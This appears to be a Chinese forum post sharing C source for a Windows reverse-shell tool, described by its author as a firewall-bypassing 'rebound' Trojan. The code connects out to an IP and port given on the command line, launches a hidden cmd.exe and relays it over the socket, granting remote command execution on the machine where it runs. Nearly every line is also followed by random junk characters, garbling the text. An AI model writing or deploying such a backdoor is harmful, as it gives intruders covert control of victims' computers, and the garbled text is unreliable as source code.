这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 A4Ru g\p]
9X[kEl
/* ============================== JR'
Rebound port in Windows NT \1d( 9jR
By wind,2006/7 ~Cbc<[}
===============================*/ rW<KKGsRWQ
#include &)2i[X
#include zy?.u.4L
FSP+?((
#pragma comment(lib,"wsock32.lib") bw(a6qKK
LI'6R=
void OutputShell(); H[m:0eF'5
SOCKET sClient; f0A{W/0n
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; R$v[!A+:'
Q}`0W[a
~
void main(int argc,char **argv) @X%C>iYa9
{ i3dkYevs?
WSADATA stWsaData; 5c9^-|-T
int nRet; :D euX
SOCKADDR_IN stSaiClient,stSaiServer; RW|`nL
&]g}u5J!=
if(argc != 3) au N6prGe
{ Z|%_&M
printf("Useage:\n\rRebound DestIP DestPort\n"); w+C7BPV&
return; 67VL@ ]
} I*o()
s0\X ^
WSAStartup(MAKEWORD(2,2),&stWsaData); %!]@J[*1
UXeN 8
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); d<% z
1Dj2
lyIl-!|
stSaiClient.sin_family = AF_INET; <W|3\p6
stSaiClient.sin_port = htons(0); bhID#&
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 8N!b>??
56}U8X
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) WM
Fb4SUR
{ FI[A[*fi
printf("Bind Socket Failed!\n"); 6TYY
UM"&
return; p
s/Ayjk
} [6 pD
a!ud{Dx
stSaiServer.sin_family = AF_INET; ATJWO1CtB
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 7[w,:9& }
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); mi
ik%7>W
,kF1T,
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) fg
s!v7
{ Mxe}B'
printf("Connect Error!"); "*($cQ$v
return; $()5VMb
} RzxNbeki[W
OutputShell(); :S.9eFfa
} mN~ci 0
S-Wz our,
void OutputShell() YHkn2]^#A
{ K:!"+q
char szBuff[1024]; 3cFf#a #
SECURITY_ATTRIBUTES stSecurityAttributes; 0vFD3}~>
OSVERSIONINFO stOsversionInfo; _/F7?^j
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; V}bjK8$$
STARTUPINFO stStartupInfo; `rgn<I"
char *szShell; +s(HOq)b
PROCESS_INFORMATION stProcessInformation; @AGn{q
unsigned long lBytesRead; cFaaLUZk
l9}3XI.=
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); kv3E4,<9
\wo?47+=
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); $AfM>+GQ`n
stSecurityAttributes.lpSecurityDescriptor = 0; TX$r`~
stSecurityAttributes.bInheritHandle = TRUE; cimp/n"
UADFnwR[R
6;u$&&c(
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); u2[iM d
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); aAJU`=uq
]or>?{4g
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); }x@2]juJ
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 61.Brp.eP
stStartupInfo.wShowWindow = SW_HIDE; &f"-d
stStartupInfo.hStdInput = hReadPipe; mk1bcK9
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; xGu r
]4~lYuI4
GetVersionEx(&stOsversionInfo); GKOD/,
2HpHxVJ
switch(stOsversionInfo.dwPlatformId) qC}-_u7s
{ 'h/C oTk@,
case 1: Du`JaJI
szShell = "command.com"; v 0
}@
break; %`OJ.:k
default: U@gn;@\
szShell = "cmd.exe"; >ZPsjQuf"
break; PK;*u,V
} (&}i`}v_
s~>d:'k7|
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); mX\TD0$d
bu
|a0h7e
send(sClient,szMsg,77,0); vI2^tX9
while(1) Y,WuBH
{ cV 5CaaL
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Z3{>yYR+
if(lBytesRead) 1y-y6q
{ *RXbc~
H
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); }2(,K[?
send(sClient,szBuff,lBytesRead,0); 5|l* `J)
} $UgA0]qn
else Q7R~{5r>W
{ zN!ZyI$nqP
lBytesRead=recv(sClient,szBuff,1024,0); .#1~Rz1r
if(lBytesRead<=0) break; |p><'Q%*
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); "ul {d(K3
} ]<H&+ &!
} ZkA U17f
jgbLN/_{
return; h v8P4"i v
}